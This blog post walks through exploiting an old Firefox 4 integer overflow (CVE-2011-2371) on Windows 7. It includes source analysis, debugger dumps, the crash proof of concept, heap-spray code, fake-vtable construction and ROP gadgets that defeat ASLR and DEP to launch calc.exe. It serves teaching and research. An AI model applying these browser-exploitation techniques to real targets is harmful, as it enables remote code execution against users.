Reading Time: 20 minutes
In case you’re wondering why I’m not posting as regularly as before, with the new year, I’ve finally transitioned into a fully offensive vulnerability research and exploit development role at Exodus Intelligence that fulfilled my career dream (BTW, we’re currently hiring). In the last couple of months, I’ve worked on some exciting and challenging bugs. Hopefully, these bugs will be featured on my blog post as soon as I am allowed to share them and after the vendors issue a patch.
Last year I took Corelan’s Advanced Exploitation Class (a course that I highly recommend) which focuses on Windows heap exploitation and modern heap-related vulnerabilities: Use After Free, Type Confusion bugs, Memory Leaks etc. To practice a bit, and before I’ll attend SANS 760, I’ve decided to dive into the exploitation of a pretty old Firefox vulnerability, namely CVE-2011-2371.
I’ve always wanted to “play” a bit with browser exploitation, even if it’s out of my comfort zone; it’s the second time I’m targeting browsers and the first time I’m dealing with Firefox. Exploiting CVE-2011-2371, despite being an old vulnerability, it’s a didactic and interesting way to showcase some vulnerabilities’ class and an approachable exploit.
Instead of building my exploit by looking at Metasploit’s module, I’ve decided to start from scratch from the PoC shared by the two researchers. In general, when looking at complex vulnerabilities, I do not recommend looking at finished exploits because they usually lack the context that led to certain exploit design choices and familiarity with the target codebase. Plus, I wanted to do things right and understand all the nuances.
I’ve exploited this vulnerability on Windows 7 x86 on Firefox v.4.0.1 with ASLR, and DEP enabled. I’ve taken some detours and different approaches from the standard exploitation methods used by at the time exploit writers and from the Metasploit module.
As a reference metric: root cause analysis, exploit development and blog post writing took me between 60-80 hours. The complete exploit code can be found on my GitHub; it is heavily commented in case this blog post is not enough 😊.
The vulnerability was discovered by Chris Rohlf and Yan Ivnitskiy in 2011; it is an Integer overflow in the Array.reduceRight()
method, affecting various Mozilla components:
The vulnerability allowed remote attackers to execute arbitrary code via a crafted long JavaScript Array object.
The source code of Firefox v.4.0.1 can be downloaded from here.
Looking at the source code, the following metrics can be extracted (only C++-related files have been examined):
Browsers are beautiful and complex puzzles of code, no wonder why in such a vast codebase, there are bugs.
Reading the bug report, it was clear that, in order to trigger the vulnerability, the PoC has to:
MAX_UINT-1
.reduceRight()
method on the array.As mentioned in the intro, I’ve started investigating from the PoC shared by the original researchers:
<html> <body> <script> /* Firefox Array.reduceRight() - CVE-2011-2371 PoC */ arr = new Array; arr.length = 0x80100000; /* 10000000 00010000 00000000 00000000 int32=-2146435072, uint32=2148532224 */ callback = function func(prev, current, index, array) { current[0] = 0x41424344; } try { arr.reduceRight(callback, 1, 2, 3); } catch (e) { } </script> </body> </html>
Loading the PoC in Firefox, we can clearly see it causing an Access Violation exception in the mozjs.dll
:
Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. *** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\Program Files\Mozilla Firefox\mozjs.dll - eax=04e90230 ebx=0495cf00 ecx=800fffff edx=02d69000 esi=001bcae8 edi=04e90208 eip=69f60be1 esp=001bca50 ebp=001bca9c iopl=0 nv up ei pl nz na po nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010202 mozjs!JS_FreeArenaPool+0x15e1: 69f60be1 8b14c8 mov edx,dword ptr [eax+ecx*8] ds:0023:05690228=????????
Where the mov edx,dword ptr [eax+ecx*8]
operation resulted in a value that points to an invalid memory region.
The PoC code above firstly sets the array object length to a long value (handled as an unsigned integer), then it calls the reduceRight()
method on the array.
According to Mozilla’s documentation:
The
reduceRight()
method applies a function against an accumulator and each value of the array (from right-to-left) to reduce it to a single value.
From the signature of the reduceRight()
method (arr.reduceRight(callback,[initialValue])
) we can see that it takes two parameters: callback()
and initialValue
.
The callback()
parameter is a function that will be executed on each elements of the array, while the initialValue
is a value used as accumulator (it is used as an argument of the callback()
function).
The callback()
function (function(previousValue, currentValue, index, array)
) takes four arguments:
previousValue
: the value returned during the last invocation of the callback()
function or the initialValue
if present.currentValue
: the element being processed in the array.index
: is the index of the current element being processed in the array.reduceRight()
method was called upon.Looking at the source code implementing the array_reduceRight()
function, file mozilla-2.0\js\src\jsarray.cpp
– line 2929, we can see that the execution is immediately transferred to the array_extra()
function with the REDUCE_RIGHT
argument.
static JSBool array_reduceRight(JSContext *cx, uintN argc, Value *vp) { return array_extra(cx, REDUCE_RIGHT, argc, vp); }
The array_extra()
function takes four parameters array_extra(JSContext *cx, ArrayExtraMode mode, uintN argc, Value *vp)
; the last two parameters are the last two arguments of the callback()
function. array_extra()
performs various checks and, at some point, the array length
is used to set the start
variable:
mozilla-2.0\js\src\jsarray.cpp
– Line 2771jsint start = 0, end = length, step = 1; switch (mode) { case REDUCE_RIGHT: start = length - 1, end = -1, step = -1;
It’s worth to note that, while the length
variable is of type jsuint
(unsigned integer), the start
variable is of type jsint
(signed integer).
Later on, the value in the start
variable is assigned to the signed integer i
variable and then passed to the GetElement()
function.
mozilla-2.0\js\src\jsarray.cpp
– Line 356/* * If the property at the given index exists, get its value into location * pointed by vp and set *hole to false. Otherwise set *hole to true and *vp * to JSVAL_VOID. This function assumes that the location pointed by vp is * properly rooted and can be used as GC-protected storage for temporaries. */ static JSBool GetElement(JSContext *cx, JSObject *obj, jsdouble index, JSBool *hole, Value *vp) { JS_ASSERT(index >= 0); if (obj->isDenseArray() && index < obj->getDenseArrayCapacity() && !(*vp = obj->getDenseArrayElement(uint32(index))).isMagic(JS_ARRAY_HOLE)) { *hole = JS_FALSE; return JS_TRUE; } if (obj->isArguments() && index < obj->getArgsInitialLength() && !(*vp = obj->getArgsElement(uint32(index))).isMagic(JS_ARGS_HOLE)) { *hole = JS_FALSE; JSStackFrame *fp = (JSStackFrame *)obj->getPrivate(); if (fp != JS_ARGUMENTS_OBJECT_ON_TRACE) { if (fp) *vp = fp->canonicalActualArg(index); return JS_TRUE; } } AutoIdRooter idr(cx); *hole = JS_FALSE; if (!IndexToId(cx, obj, index, hole, idr.addr())) return JS_FALSE; if (*hole) { vp->setUndefined(); return JS_TRUE; } JSObject *obj2; JSProperty *prop; if (!obj->lookupProperty(cx, idr.id(), &obj2, &prop)) return JS_FALSE; if (!prop) { *hole = JS_TRUE; vp->setUndefined(); } else { if (!obj->getProperty(cx, idr.id(), vp)) return JS_FALSE; *hole = JS_FALSE; } return JS_TRUE; }
Unfortunately, the GetElement()
function does not prevent us to use a negative index as the JS_ASSERT()
condition is evaluated only on Firefox debug builds. After couple more function calls, the GetElement()
function will perform the following checks:
isDenseArray()
function if the JSObject *obj
object is an array.index
argument is not bigger than the capacity of the array (this condition will evaluate to True
if the index is a negative value).The getDenseArrayElement()
function call the getSlot()
method and returns the slot to the caller, as can be seen from the following code snippet:
mozilla-2.0\js\src\jsobj.h
– Line 686jsobj.h const js::Value &getSlot(uintN slot) const { JS_ASSERT(slot < capacity); return slots[slot]; }
The slot
variable is nothing more than a pointer to the js::Value
object.
The js::Value
object is a wrapper for the jsval_layout
union, defined at:
mozilla-2.0\js\src\jsval.h
– Line 274#if defined(IS_LITTLE_ENDIAN) # if JS_BITS_PER_WORD == 32 typedef union jsval_layout { uint64 asBits; struct { union { int32 i32; uint32 u32; JSBool boo; JSString *str; JSObject *obj; void *ptr; JSWhyMagic why; jsuword word; } payload; JSValueTag tag; } s; double asDouble; void *asPtr; } jsval_layout; [Truncated]
This union defines every JavaScript type’s structure; for example, looking at a string object in memory, we find the following layout: | JSString* | JSValueTag |
.
The first half of this layout stores a pointer to a JSString
object, while the second half is a tag used to identify the value type.
A list of all the valid tags can be found in: mozilla-2.0\js\src\jsval.h
– Line 186.
Every time the getDenseArrayElement()
method is called, the slot
is returned to the caller: *vp=obj->getDenseArrayElement(uint32(index))
Since we can specify the index
, we can try to read bytes as if they were part of the jsval_layout
union. Doing so, a pointer is returned, either crashing the application if accessing an invalid memory location or reading sizeof(js:Value)
bytes. The returned bytes are then stored in the location pointed by vp
.
From the previous section, we were able to understand that it is possible to leak sizeof(js:Value)
bytes of memory.
Looking at the content of the registers and stack at the moment of the crash, we can see that there are some interesting pointers to the mozjs.dll
and, a couple of addresses before that, pointers to xul.dll
.
0:000> dps(esp) 004ac790 004ac898 004ac794 004a027f 004ac798 800fffff 004ac79c ffffffff 004ac7a0 05170d80 004ac7a4 68fdc892 mozjs!js_NextActiveContext+0x1b2 004ac7a8 004ac898 004ac7ac 68fd5c35 mozjs!JS_FreeArenaPool+0x6635 004ac7b0 68fd5cb2 mozjs!JS_FreeArenaPool+0x66b2 004ac7b4 004ac7dc 004ac7b8 00400000 004ac7bc c1dffc00 004ac7c0 062f2ae0 004ac7c4 68fd5f90 mozjs!JS_FreeArenaPool+0x6990 004ac7c8 03ca0060 004ac7cc 034030a0 004ac7d0 800fffff 004ac7d4 06460208 004ac7d8 03ca0070 004ac7dc 06403658 004ac7e0 ffffffff 004ac7e4 ffffffff 004ac7e8 034030a0 004ac7ec 6904d0a5 mozjs!JS_vsprintf_append+0xc5 004ac7f0 034757c0 004ac7f4 80100000 004ac7f8 00400000 004ac7fc c1dffc00 004ac800 00000000 004ac804 ffff0002 004ac808 06460208 004ac80c ffff0007
0:000> r eax=06460230 ebx=062f2ae0 ecx=800fffff edx=03369000 esi=004ac828 edi=06460208 eip=68fd0be1 esp=004ac790 ebp=004ac7dc iopl=0 nv up ei pl nz na po nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010202 : 68fd0be1 8b14c8 mov edx,dword ptr [eax+ecx*8] ds:0023:06c60228=???????? 0:000> dd @eax-40 064601f0 00000000 ffff0002 00000000 ffff0002 06460200 00000000 ffff0002 69175cac 69175fb0 06460210 00000000 ffffffff 00000000 03403208 06460220 034030a0 80100000 00000008 06460230 06460230 00000000 ffff0004 00000000 ffff0004 06460240 00000000 ffff0004 00000000 ffff0004 06460250 00000000 ffff0004 00000000 ffff0004 06460260 00000000 ffff0004 00000000 ffff0004 0:000> dps(@eax-40) 064601f0 00000000 064601f4 ffff0002 064601f8 00000000 064601fc ffff0002 06460200 00000000 06460204 ffff0002 06460208 69175cac mozjs!JSObjectMap::sharedNonNative 0646020c 69175fb0 mozjs!JSCrossCompartmentWrapper::singleton+0x258 06460210 00000000 06460214 ffffffff 06460218 00000000 0646021c 03403208 06460220 034030a0 06460224 80100000 06460228 00000008 0646022c 06460230 06460230 00000000 06460234 ffff0004 06460238 00000000 0646023c ffff0004 06460240 00000000 06460244 ffff0004 06460248 00000000 0646024c ffff0004 06460250 00000000 06460254 ffff0004 06460258 00000000 0646025c ffff0004 06460260 00000000 06460264 ffff0004 06460268 00000000 0646026c ffff0004
The EAX
register is pointing to an array of JavaScript values while the ECX
register is holding the arr.length
value we’ve previously provided.
These pointers will be used to bypass ASLR, so we need to find a reliable way to retrieve and store them.
In order to leak these pointers, we need to “fiddle around” with the negative index
value. We can control the content of the ECX
register and we know that the faulting operation is the following one: mov edx,dword ptr [eax+ecx*8]
. We just need to update the ECX
register and thus the arr.length
value to reach the pointers we are interested to leak.
Exercise: before reading further, can you come up with the right index
value? The right value will have to “counter” the [eax+ecx*8]
operation.
Specifically, we have to find a value that, once decremented by 1, multiplied by 8 and then added to the EAX
register, will retrieve one of these pointers. Then, we must convert the leaked raw bytes back to valid pointers (endianness).
The correct index
value is 0xFFFFFFFC
; I’ve then used the JSPack library to handle the correct endianness and conversion between different types.
In order to place a fake JS object in memory, we need the two following steps:
During the usage of the browser, the heap is mainly comprised of allocated chunks and freed ones. To construct our memory layout, we’ll have to fill up all the “holes” and, only after that process, set up our fake object.
To fill up all the “holes” I’ve chosen to use Uint32Arrays
objects. The main reasoning behind this choice is that this type of objects is pretty simple and does not have a header (in contrast with a common array).
To fill the “holes” is enough to “over allocate” arrays with a size of 512 bytes (remember, as the Uint32Arrays
objects store 4-bytes integers, we’ve to allocate arrays of size 512/4=128
)
// Performing the heap spraying, filling up all the "holes" in the heap console.log("[>] Performing heap spraying..."); var junk_array = []; // declaring junk_array needed to "fill the holes" for (var i = 0; i < 300; i++) { // allocating 300 arrays junk_array[i] = new Uint32Array(128); // each one of size 128 for (var j = 0; j < 128; j++) { junk_array[i][j] = 0x6B6E756A; // setting each element to "junk" } }
It is worth mentioning that both the number of allocations and the size of the allocated chunks are set to absolutely arbitrary values that I’ve determined through multiple browser runs while tracking the heap consumption.
After “filling the holes”, we have to set up two contiguous arrays that later will become our fake JS object.
The main problem we have to deal with is that we do not know where these arrays are located in memory. We need to pinpoint their location as the first field of our fake JS object has to be a pointer to a location under our control and where we can set up a fake vtable
.
A virtual table is a lookup table of functions used to resolve function calls dynamically.
Virtual functions are member functions that can be overridden in a derived class. The way C++ achieves this is by the compiler creating a vtable
for each class. The vtable
is essentially a table of function pointers, each one pointing to a different virtual function. When an object is created, the first member variable is a pointer to the vtable
for that particular class, called VPTR
. When a virtual function is called, the process walks the VPTR
and calls the virtual function at the appropriate offset.
One of the tricks used to overcome this situation is to force the reallocation of an array. When we re-allocate an array, the JS engine will find a new suitable location in memory and copy all the array elements into this new position. After that, it updates the array header, pointing it to the new location (the array header does not move with its elements).
If we can find a way to access the header of the re-allocated array, we won’t have any problem locating it and creating our fake JS object.
To do so, we can set up two contiguous arrays. We use the first array to leak the mozjs.dll
pointers, then we re-allocate it and use the 2nd array to get the pointer to the first re-allocated array elements.
array1
.array2
.reduceRight
method on array1
to leak the mozjs.dll
pointers.array3
.array1
, forcing the JS engine to re-allocate it. The array will be placed after the array3
that we’ve just set up (since we have previously filled any available free chunks).array3
and array1
should be adjacent and have the following layout in memory: | array3 | array 1 |
reduceRight
method on array2
to leak the pointer in the header of array1
, disclosing its new location in memory.To create a fake JS object, we must rebuild the structure of a valid JS object in memory. We can set the content of the last elements of our array3
array to hold:
JSVAL_TAG_OBJECT
(value 0xFFFF0007
).As a pointer under our control, we use the pointer of the re-allocated array1
array. Before it can serve us, we have to properly decrement it to access a memory location under our control. Specifically, a memory location in the array3
array where we can place our fake vtable
.
As we have decided to use the last two elements of the array3
array, the code to create our fake JavaScript object is something along this line:
array3[126] = reloc_array1_ptr - (4 * 4); // points to array3[125], where will be the fake vtable; (elem size * n elements) array3[127] = 0xFFFF0007; // JSVAL_TAG_OBJECT
Before moving further with the exploitation part, we must locate the exact memory address where the vtable
is supposed to be. To do so, we will:
array3
array with unique values (pseudo-random patterns).vtable
.array3
).The memory layout of our array3
array should be something along the following schema:
The first element of the array3
array is expected to hold a pointer to the setElem()
function which will be later triggered.
All the public exploits out of there, including Metasploit, defeat ASLR via the well-known Java applet trick: Java, by default, imports the MSVCR71.dll
that is not protected by ASLR and therefore always “sit” at the same base address.
Instead of abusing Java to defeat ASLR, which has the downside of relying on the presence of Java on the target machine, I’ve used the memory leak primitive we already have. Since we have a way to leak arbitrary memory, and specifically, we were able to recover a pointer into mozjs.dll
, we can calculate the offset between our pointer and the base address of the module to create a “dynamic” ROP chain.
leaked_pointer-base_address=offset leak_pointer-offset=base_address
Another viable solution I was able to think of was to fake a JS string object and read an arbitrary number of bytes from it. While this technique can be used to target multiple versions of Firefox, it is more complex and, exploitation-wise, more time-consuming to pull than the one I’ve chosen.
Once we get the base address of the mozjs.dll
, we can start crafting our ROP chain to bypass DEP. The first gadget must be placed at the setElem Ptr
location and must pivot the execution flow from the stack to the heap.
Why? Because ROP gadgets perform RET
instructions. The execution flow is expected to “pick up” the next gadget from the stack, but we are neither in the stack nor control it. To deal with this problem, we have to find a gadget able to replace the value present in the ESP
register with a location in the heap we control.
The EBP
register, once the execution flow is transferred by our fake vtable
to the setElem Ptr
location, points to array3[123]
; while the EDI
register is pointing near the end of the “junk” array and can became a good candidate if we only find a way to load its content into the ESP
register.
To find some gadgets that can load in the ESP
register the value present in the EBP
register, I’ve used the always green mona.py: !mona rop -m “mozjs” -rva
.
Many gadgets can fulfil our needs, but we should also find the smallest gadget possible that pollutes other registers/stack the least. Initially, I’ve decided to use the following one:
# MOV ESP,EBP # POP EBP # RETN ** [mozjs.dll] ** | null {PAGE_EXECUTE_READ}
Unfortunately, the above gadget has the following problem: once the RET
instruction is executed, the following instruction is expected to take place in the space of our vtable Ptr
, a space that, due to DEP is not executable.
After spending a great amount of time looking into different gadgets from both mozjs.dll
and xul.dll
, the only option I was left was to add an offset to the EBP
register before it is loaded into ESP
.
Luckily, there was a gadget that fits this purpose:
# ADD EBP,EBX # PUSH DS # POP EDI # POP ESI # POP EBX # MOV ESP,EBP # POP EBP # RETN ** [mozjs.dll] ** | {PAGE_EXECUTE_READ}
This gadget adds the EBX
register to EBP
before loading the resulting value into ESP
.
The EBX
register holds the current index current[0]=1
, a value that is internally multiplied by 2 and incremented by 1. Fiddling around with the index, I’ve concluded that a value of -245 will result in going back 489 bytes (2*(-245)+1)
from the location pointed by the EBP
register.
A downside of having an odd pointer is not being aligned with a specific element of the array but instead, the pointer will point in the “middle” of array[2]
and array[3]
. To realign the stack pointer to the array elements I’ve used the following gadget: # INC ESP # RETN ** [mozjs.dll] ** | {PAGE_EXECUTE_READ}
; it will increment the ESP
register by one byte and end up where our ROP chain start.
With the correct memory layout set upped, the execution flow is the following:
reduceRight()
method upon array1
.reduceRight()
method executes the callback function (named “trigger”).trigger()
function executes the following assignment: current[-245] = 1;
that in turns trigger the setElem()
method of the fake object (located in array3[126]- array3[127]
).setElem()
method, a lookup into the fake vtable
(located at array3[124]
) is performed. The fake vtable
returns a pointer to the supposed setElem()
method and the execution flow is transferred to that pointer (located at array3[0]
).setElem()
method’s logic, a stack to heap gadget is executed and the ESP
register is loaded with a value pointing between array3[2]
and array3[3]
.ESP
register, re-aligning the stack-frame to an element of the array3
array.array3[4]
) kick in and, trough a call to the VirtualAlloc()
function, it will make the following section executable.calc.exe
.array3
array. Since I didn’t perform any restoration of the previous stack frame, and the elements are filled with “random” bytes, they will likely result in “garbage” opcodes crashing Firefox.If you did everything correctly and my explanation wasn’t too messy, you should be able to obtain a reliable code execution, as demonstrated by the following video:
The complete, and heavily commented, exploit code is available on my GitHub.